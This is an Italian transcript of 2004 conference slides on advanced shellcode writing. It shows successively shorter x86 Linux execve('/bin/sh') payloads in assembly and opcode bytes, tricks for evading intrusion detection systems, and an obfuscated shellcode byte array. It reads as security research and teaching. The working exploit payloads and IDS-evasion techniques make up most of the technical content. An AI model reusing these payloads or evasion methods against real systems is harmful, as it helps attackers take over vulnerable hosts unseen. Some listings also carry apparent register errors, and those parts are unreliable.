Shellcode Advanced

Transcript

Shellcode Advanced
Antifork Research, Inc.
HACKERS RESEARCH VIRTUAL LAB
“Shellcode Advanced”
Angelo Dell'
Aera <[email protected]>
Security Date 2004 ­ Ancona 29/04/2004
Esplorare mondi nuovi...
In questa presentrazione analizzeremo alcune tecniche avanzate per la scrittura di shellcodes. In particolare si analizzeranno dapprima delle tecniche per scrivere shellcodes molto corte in termini di bytes e, a tal proposito, analizzeremo alcuni esempi di shellcodes ottimizzate in tal senso. Queste tecniche sono utili in contesti nei quali ad esempio il buffer di un'
applicazione vulnerabile da sovrascrivere è molto piccolo. Esplorare mondi nuovi...
Successivamente analizzeremo dei cenni relativi alla scrittura di shellcodes alfanumeriche, spesso utilizzate per aggirare un Intrusion Detection System (IDS). Cercheremo di spiegare in cosa consista una shellcode alfanumerica e vedremo un esempio contorto di codice alfanumerico scritto dal relatore nel 2002 nell'
ambito di una ricerca relativa all'
elusione di IDS.
Non faremo uso dell'
Alphanumeric Shellcode Compiler di Rix presentato su Phrack #57 per il semplice motivo che fondamentalmente odio le cose facili... Execve HOWTO
EXECVE(2) Linux Programmer'
s Manual EXECVE(2)
NAME
execve ­ execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv [], char *const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both, argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program'
s main function, when it is defined as int main(int argc, char *argv[], char *envp[]).
Execve HOWTO
Per capire come sia possibile scrivere una shellcode per eseguire la execve di una shell si parte da questo codice in C.
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
Execve HOWTO
“...there is not much to the execve() system call. All we need to do is:
a) Have the null terminated string "/bin/sh" somewhere in memory.
b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string "/bin/sh" into the EBX register.
e) Copy the address of the string "/bin/sh" into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.”
Aleph One ­ “Smashing the Stack for Fun and Profit”
Shortest shellcode
Qualcuno potrebbe chiedersi “per quale motivo è necessario scrivere shellcodes piccole in termini di bytes?”.
In determinate circostanze, è possibile trovarsi di fronte a dei codici vulnerabili in cui il buffer da sovrascrivere è composto da pochi bytes. In alcuni casi patologici, anche un solo byte in meno potrebbe fare la differenza. La realtà è che spesso scrivere una shellcode è una sfida intellettuale non da poco... e togliere anche un solo byte è impresa ardua e gratificante allo stesso tempo.
Shortest shellcode
Nella nostra analisi, partiremo adesso dalla famosa shellcode di Aleph One presentata nel celeberrimo “Smashing the Stack For Fun and Profit” presentato su Phrack #49.
Successivamente, vedremo come, utilizzando alcuni piccoli accorgimenti, si possa ridurre di molto il numero di bytes.
Shortest shellcodes (38 bytes)
jmp string_addr # 0xeb 0x18
after_jmp:
pop %edi # 0x5f
xorl %eax, %eax # 0x31 0xc0
movb %al, 0x7(%edi) # 0x88 0x47 0x07 movl %edi, 0x8(%edi) # 0x89 0x7f 0x08
movl %eax, 0xc(%edi) # 0x89 0x47 0x0c
lea 0xc(%edi), %edx # 0x8d 0x57 0x0c
lea 0x8(%edi), %ecx # 0x8d 0x4f 0x08
mov %edi, %ebx # 0x89 0xfb
movb $0xb, %al # 0xb0 0x0b
int $0x80 # 0xcd 0x80
string_addr:
call after_jmp # 0xe8 0xde 0xff 0xff 0xff
.string \"/bin/sh\"
Shortest shellcodes (36 bytes)
jmp string_addr # 0xeb 0x16
after_jmp:
pop %ebx # 0x5b
xorl %eax, %eax # 0x31 0xc0
movb %al, 0x7(%ebx) # 0x88 0x43 0x07 movl %edi, 0x8(%ebx) # 0x89 0x5b 0x08
movl %eax, 0xc(%ebx) # 0x89 0x43 0x0c
lea 0xc(%ebx), %edx # 0x8d 0x53 0x0c
lea 0x8(%ebx), %ecx # 0x8d 0x4b 0x08
movb $0xb, %al # 0xb0 0x0b
int $0x80 # 0xcd 0x80
string_addr:
call after_jmp # 0xe8 0xe0 0xff 0xff 0xff
.string \"/bin/sh\"
Shortest Shellcode
In questo modo, però, non si va molto lontano... Potremmo limare ancora qualcosa ma, per andare al di sotto dei 36 bytes, servono tecniche nuove. Vediamo un giochino di magia nera che consente di scendere molto al di sotto di questo limite.
Questo gioco si basa sull'
assunto che è possibile costruire la stringa “/bin/sh” nello stack in maniera molto più economica. Vediamo come.
Shortest Shellcode
Consideriamo la stringa /bin/sh come sequenza di numeri esadecimali
/ b i n / s h
2f 62 69 6e 2f 73 68
Quindi, se il nostro scopo è avere la stringa “/bin/sh” nello stack potremmo eseguire “push 0x6e69622f”...
Shortest Shellcode
Esiste un problema però. La stringa “/bin/sh” e’ di 7 caratteri ed è quindi disallineata. Una possibile soluzione è usare la stringa “//bin/sh”. Quindi, per collocare la stringa sullo stack, ci basterà eseguire
push $0x68732f6e # n/sh
push $0x69622f2f # //bi Da un rapido conto, si vede che servono 10 bytes per compiere questa operazione.
Shortest Shellcode (25 bytes)
xorl %eax, %eax # 31 c0
push %eax # 50 push $0x68732f6e # 68 6e 2f 73 68 push $0x69622f2f # 68 2f 2f 62 69 movl %esp, %ebx # 89 e3 push %eax # 50 movl %esp, %edx # 89 e2 push %ebx # 53 movl %esp, %ecx # 89 e1 movb $0xb, %al # b0 0b int $0x80 # cd 80 Shortest Shellcode (25 bytes)
xorl %eax, %eax # 31 c0
push %eax # 50 push $0x68732f6e # 68 6e 2f 73 68 push $0x69622f2f # 68 2f 2f 62 69 movl %esp, %ebx # 89 e3 push %eax # 50 movl %esp, %edx # 89 e2 push %ebx # 53 movl %esp, %ecx # 89 e1 EBX
movb $0xb, %al # b0 0b int $0x80 # cd 80 //bin/sh
NULL
Shortest Shellcode (25 bytes)
xorl %eax, %eax # 31 c0
push %eax # 50 push $0x68732f6e # 68 6e 2f 73 68 push $0x69622f2f # 68 2f 2f 62 69 movl %esp, %ebx # 89 e3 push %eax # 50 ECX
movl %esp, %edx # 89 e2 push %ebx # 53 EDX
NULL
movl %esp, %ecx # 89 e1 EBX
//bin/sh
movb $0xb, %al # b0 0b int $0x80 # cd 80 NULL
Shortest Shellcode (24 bytes)
© awgn & quequero
xorl %edx, %edx # 31 d2
push %edx # 52 push $0x68732f6e # 68 6e 2f 73 68 push $0x69622f2f # 68 2f 2f 62 69 movl %esp, %ebx # 89 e3 push %edx # 53 push %ebx # 53 movl %esp, %ecx # 89 e1 lea 0xb(%edx), %eax # 8d 42 0b int $0x80 # cd 80 Shortest Shellcode (24 bytes)
© awgn & quequero
lea 0xb(%edx), %eax # 8d 42 0b
La sintassi dell'
istruzione asm LEA è la seguente lea spiazzamento(base), destinazione
In questo caso %edx e’ NULL quindi l’indirizzo assoluto caricato in %eax e’ 0x0000000b.
Shortest Shellcode (23 bytes)
© buffer & alor
push $0x0b # 6a 0b
pop %eax # 58 cdq # 99
push %edx # 52 push $0x68732f6e # 68 6e 2f 73 68 push $0x69622f2f # 68 2f 2f 62 69 movl %esp, %ebx # 89 e3 push %edx # 53 push %ebx # 53 movl %esp, %ecx # 89 e1 int $0x80 # cd 80 Shortest Shellcode (23 bytes)
© buffer & alor
push $0x0b # 6a 0b
pop %eax # 58 cdq # 99
L'
istruzione asm CDQ estende il bit di segno di %eax in %edx. In questo caso %eax contiene 0x0000000b e quindi il bit piu’ significativo e’ 0. Di conseguenza %edx viene azzerato.
Shortest Shellcode
A quando una shellcode da 22 bytes? ...la sfida è aperta! Per chi ci dovesse riuscire, è un obbligo morale spedire una mail a <[email protected]>.
Il nostro archivio di shellcodes è disponibile presso l'
URL
http://shellcodes.antifork.org
Intrusion Detection System Defeating
Nel momento in cui si cerca di exploitare da remoto una applicazione vulnerabile, un problema che si pone è l'
eventuale presenza di un sensore IDS nella rete nella quale si trova l'
host da attaccare.
Un IDS è in grado di riconoscere facilmente tentativi di intrusione basati su shellcodes classiche, in quanto in grado di riconoscere pattern standard come ad esempio sequenze di NOP (0x90 su architettura Intel x86) e/o int 0x80 (0xcd80 su architettura Intel x86).
Intrusion Detection System Defeating
Eliminare la necessità del padding di NOP è piuttosto facile da realizzare usando istruzioni asm composte da un solo byte.
Analogamente, anche mettere in coda alla shellcode sempre lo stesso return address può allertare un sensore IDS ma anche questo si può aggirare usando indirizzi diversi poiché quello che importa è che esso punti all'
interno del “NOP padding”.
Intrusion Detection System Defeating
Ma una shellcode ha degli elementi che sono facilmente riconoscibili da un IDS. Un esempio su tutti è l'
int 0x80 utilizzato da Linux per l'
esecuzione di una syscall su piattaforma Intel x86.
Altra cosa importante. Perchè mai un server Web dovrebbe ricevere stringhe del tipo “\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52
\x53\x89\xe1\xcd\x80"
in luogo di una classica query HTTP?!
Awgn vi presenta Dante...
Vediamo prima di tutto un interessante gioco ad opera di awgn e di cui potete reperire il codice all'
URL
http://awgn.antifork.org/codes/dante.c
Dante è un tool che consente, tra le altre cose, di scrivere shellcodes molto simpatiche. Esso si basa sull'
assunto che ciascun carattere alfanumerico può essere interpretato, in base al suo corrispondente codice ASCII, come un codice operativo e/o un operando.
Awgn vi presenta Dante...
Tanto per avere un'
idea...
'
A' inc %ecx
'B
' inc %edx
'C
' inc %ebx
'D
'
inc %esp
'E
' inc %ebp
'F
' inc %esi
'G
'
inc %edi
'H
' dec %eax
'I
'
dec %ecx
[… ]
buffer­i386­crazy.c
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1"
"THREE.RULES.TO.CODE.COOL.SHELLCODES"
"\x44\x44\x83\xc4\x20\x40\x40\x80\xeb\x03\x66"
"\x83\xc7\x05\x66\x83\xed\x06\x51"
"IF.LIFE.IS.SHORT.YOUR.SHELLCODE.SHOULD.BE.SHORTER"
"\x44\x44\x83\xc4\x30\x59\x04\x04\x4b\x4a\x4e"
"\x4e\x66\x83\xc7\x05\x66\x83\xed\x05\x51"
"NEVER.THINK.ABOUT.YOUR.MOMMY.WHILE.CODING"
"\x83\xc4\x18\x59\x40\x40\x4a\x66\x83\xc6\x03"
"\x66\x83\xc7\x03\x55"
"DONT.TOUCH.REGISTERS.TITS.ARE.BETTER"
"\x4c\x83\xc4\x3c\x40\x4b\x41\x4a\x46\x47\x66"
"\x83\xed\x05\xcd\x80";
Shellcode alfanumeriche
....e adesso facciamo le cose sul serio!